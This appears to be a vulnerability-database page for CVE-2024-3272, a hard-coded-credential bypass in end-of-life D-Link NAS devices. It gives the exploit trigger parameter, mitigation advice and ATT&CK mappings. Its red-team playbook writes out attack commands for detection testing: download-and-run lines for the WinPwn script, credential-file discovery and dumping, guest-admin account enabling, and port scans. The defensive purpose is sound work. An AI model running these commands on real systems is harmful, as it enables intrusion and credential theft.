CVE-2024-3272

CRITICAL CISA KEV POC TTE 47d Pub 04/04 Upd 21/10

Overview

This vulnerability is an authentication bypass caused by hard-coded credentials embedded within the HTTP GET request handler component of D-Link DNS-320L and related models. The flaw arises from improper handling of the 'user' parameter in the /cgi-bin/nas_sharing.cgi endpoint, which allows an attacker to supply a specific input value leading to unauthorized access. The root cause is the presence of static credentials triggered by crafted HTTP requests, affecting the NAS device firmware versions up to 20240403.

Vulnerability Description

** UNSUPPORTED WHEN ASSIGNED ** A vulnerability, which was classified as very critical, has been found in D-Link DNS-320L, DNS-325, DNS-327L and DNS-340L up to 20240403. This issue affects some unknown processing of the file /cgi-bin/nas_sharing.cgi of the component HTTP GET Request Handler. The manipulation of the argument user with the input messagebus leads to hard-coded credentials. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-259283. NOTE: This vulnerability only affects products that are no longer supported by the maintainer. NOTE: Vendor was contacted early and confirmed immediately that the product is end-of-life. It should be retired and replaced.

Impact

An attacker can remotely gain unauthorized administrative access to affected D-Link NAS devices without any authentication or user interaction. This access enables execution of arbitrary commands, potentially leading to full system compromise, data exfiltration, or lateral movement within a network. Because the exploit requires only a crafted HTTP request, it can be initiated from anywhere with network access to the device, posing a critical risk to confidentiality, integrity, and availability of data stored on the device.

Solution

Since the affected D-Link DNS-320L and related models are end-of-life and unsupported, the vendor recommends retiring and replacing these devices. No patches or firmware updates are available to remediate this vulnerability. For detailed information, consult the advisory at https://vuldb.com/?id.259283 and the vendor's end-of-life confirmation notices. Network administrators should isolate or decommission these devices to mitigate exposure.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

A critical vulnerability has been identified in several D-Link network-attached storage devices, specifically affecting the HTTP GET Request Handler component. This issue arises from improper handling of user input in the file responsible for NAS sharing, which can be exploited to reveal hard-coded credentials. The flaw is particularly concerning as it allows remote attackers to manipulate the input argument, potentially leading to unauthorized access to sensitive data stored on the affected devices. The severity of this vulnerability is underscored by its high CVSS score, indicating that it poses a significant risk to users still operating these outdated systems.

The attack vector for this vulnerability is primarily remote, meaning that an attacker does not need physical access to the device to exploit it. By crafting a specific HTTP GET request that targets the vulnerable component, an attacker can extract hard-coded credentials embedded within the system. This exploitation could lead to a variety of malicious activities, including unauthorized data access, data manipulation, or even the complete takeover of the affected devices. Given that the vulnerability affects multiple models of D-Link NAS devices, the potential for widespread exploitation is significant, especially among users who may not be aware of the risks associated with using unsupported hardware.

In terms of real-world impact, the implications of this vulnerability are severe for businesses and individuals alike. Organizations relying on these devices for data storage and sharing may find themselves at risk of data breaches, which can lead to financial loss, reputational damage, and legal repercussions. The exposure of sensitive information can compromise customer trust and result in regulatory fines, particularly if personal data is involved. Furthermore, the fact that these products are no longer supported by the vendor exacerbates the risk, as users will not receive patches or updates to mitigate the vulnerability, leaving them vulnerable to ongoing threats.

To detect and mitigate the risks associated with this vulnerability, organizations should first conduct a thorough inventory of their network-attached storage devices to identify any that are affected. Regular security assessments and vulnerability scans can help in identifying potential weaknesses within the network. For those using the impacted D-Link models, the most effective mitigation strategy is to replace these devices with supported alternatives that receive regular security updates. Additionally, implementing network segmentation can help limit the exposure of sensitive data and reduce the attack surface for potential intruders. Organizations should also consider employing intrusion detection systems to monitor for unusual activity that may indicate an attempted exploitation of this vulnerability.

In conclusion, the vulnerability affecting D-Link NAS devices represents a significant threat to users still operating these outdated systems. The potential for remote exploitation, coupled with the severe consequences of unauthorized access to sensitive data, necessitates immediate action from affected users. By prioritizing detection and mitigation strategies, organizations can protect their data and maintain their security posture in an increasingly hostile cyber landscape.

Affected Products (23)

Vendor Product Version CPE
dlink Dlink Dns-320l Firmware 1.01.0702.2013 cpe:2.3:o:dlink:dns-320l_firmware:1.01.0702.2013:*:*:*:*:*:*:*
dlink Dlink Dns-320l Firmware 1.03.0904.2013 cpe:2.3:o:dlink:dns-320l_firmware:1.03.0904.2013:*:*:*:*:*:*:*
dlink Dlink Dns-320l Firmware 1.11 cpe:2.3:o:dlink:dns-320l_firmware:1.11:*:*:*:*:*:*:*
dlink Dlink Dns-120 Firmware N/A cpe:2.3:o:dlink:dns-120_firmware:-:*:*:*:*:*:*:*
dlink Dlink Dnr-202l Firmware N/A cpe:2.3:o:dlink:dnr-202l_firmware:-:*:*:*:*:*:*:*
dlink Dlink Dns-315l Firmware N/A cpe:2.3:o:dlink:dns-315l_firmware:-:*:*:*:*:*:*:*
dlink Dlink Dns-320 Firmware N/A cpe:2.3:o:dlink:dns-320_firmware:-:*:*:*:*:*:*:*
dlink Dlink Dns-320lw Firmware N/A cpe:2.3:o:dlink:dns-320lw_firmware:-:*:*:*:*:*:*:*
dlink Dlink Dns-321 Firmware N/A cpe:2.3:o:dlink:dns-321_firmware:-:*:*:*:*:*:*:*
dlink Dlink Dnr-322l Firmware N/A cpe:2.3:o:dlink:dnr-322l_firmware:-:*:*:*:*:*:*:*
dlink Dlink Dns-323 Firmware N/A cpe:2.3:o:dlink:dns-323_firmware:-:*:*:*:*:*:*:*
dlink Dlink Dns-325 Firmware 1.01 cpe:2.3:o:dlink:dns-325_firmware:1.01:*:*:*:*:*:*:*
dlink Dlink Dns-326 Firmware N/A cpe:2.3:o:dlink:dns-326_firmware:-:*:*:*:*:*:*:*
dlink Dlink Dns-327l Firmware 1.00.0409.2013 cpe:2.3:o:dlink:dns-327l_firmware:1.00.0409.2013:*:*:*:*:*:*:*
dlink Dlink Dns-327l Firmware 1.09 cpe:2.3:o:dlink:dns-327l_firmware:1.09:*:*:*:*:*:*:*
dlink Dlink Dnr-326 Firmware N/A cpe:2.3:o:dlink:dnr-326_firmware:-:*:*:*:*:*:*:*
dlink Dlink Dns-340l Firmware 1.08 cpe:2.3:o:dlink:dns-340l_firmware:1.08:*:*:*:*:*:*:*
dlink Dlink Dns-343 Firmware N/A cpe:2.3:o:dlink:dns-343_firmware:-:*:*:*:*:*:*:*
dlink Dlink Dns-345 Firmware N/A cpe:2.3:o:dlink:dns-345_firmware:-:*:*:*:*:*:*:*
dlink Dlink Dns-726-4 Firmware N/A cpe:2.3:o:dlink:dns-726-4_firmware:-:*:*:*:*:*:*:*
+3 additional CPEs
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

GitHub PoCs (1)

Repository Author Stars Forks Date Link
aliask/dinkleberry
Patch your D-Link device affected by CVE-2024-3272
aliask 3 0 2024-05-21 View
Exploited in Wild CONFIRMED
Ransomware NOT ASSOCIATED
Attacker Interest MEDIUM
Sightings Few sightings

Threat Feed

4 events
2026-06-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2024-05-21
PoC Published (1 GitHub repositories)

Proof-of-concept code is publicly available for this vulnerability

2024-04-11
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Improper Input Validation
55% input_validation

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1078.001 Default Accounts Initial Access initial-access, persistence, privilege-escalation, defense-evasion Windows, SaaS, IaaS, Linux, macOS, Containers, Network Devices, Office Suite, Identity Provider, ESXi
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-70 Try Common or Default Usernames and Passwords
35%
Medium High
CAPEC-191 Read Sensitive Constants Within an Executable
33%
Low

Red Team Playbook

36 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1078.001 Activate Guest Account Windows CMD Privileged
The Adversaries can activate the default Guest user. The guest account is inactivated by default
Command (CMD)
net user #{guest_user} /active:yes
T1078.001 Enable Guest Account on macOS macOS Shell Privileged
This test enables the guest account on macOS using sysadminctl utility.
Command (Shell)
sudo sysadminctl -guestAccount on
T1078.001 Enable Guest account with RDP capability and admin privileges Windows CMD Privileged
After execution the Default Guest account will be enabled (Active) and added to Administrators and Remote Desktop Users Group, and desktop will allow multiple RDP connections.
Command (CMD)
net user #{guest_user} /active:yes
net user #{guest_user} #{guest_password}
net localgroup #{local_admin_group} #{guest_user} /add
net localgroup "#{remote_desktop_users_group_name}" #{guest_user} /add
reg add "hklm\system\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "hklm\system\CurrentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (6)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2024-3272
vuldb.com
GitHub CVE vdb-entry technical-description
https://vuldb.com/?id.259283
vuldb.com
GitHub CVE signature permissions-required
https://vuldb.com/?ctiid.259283
github.com
GitHub CVE exploit
https://github.com/netsecfish/dlink
supportannouncement.us.dlink.com
GitHub CVE related
https://supportannouncement.us.dlink.com/security/publication.aspx?name=SAP10383
cisa.gov
NVD API US Government Resource
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-3272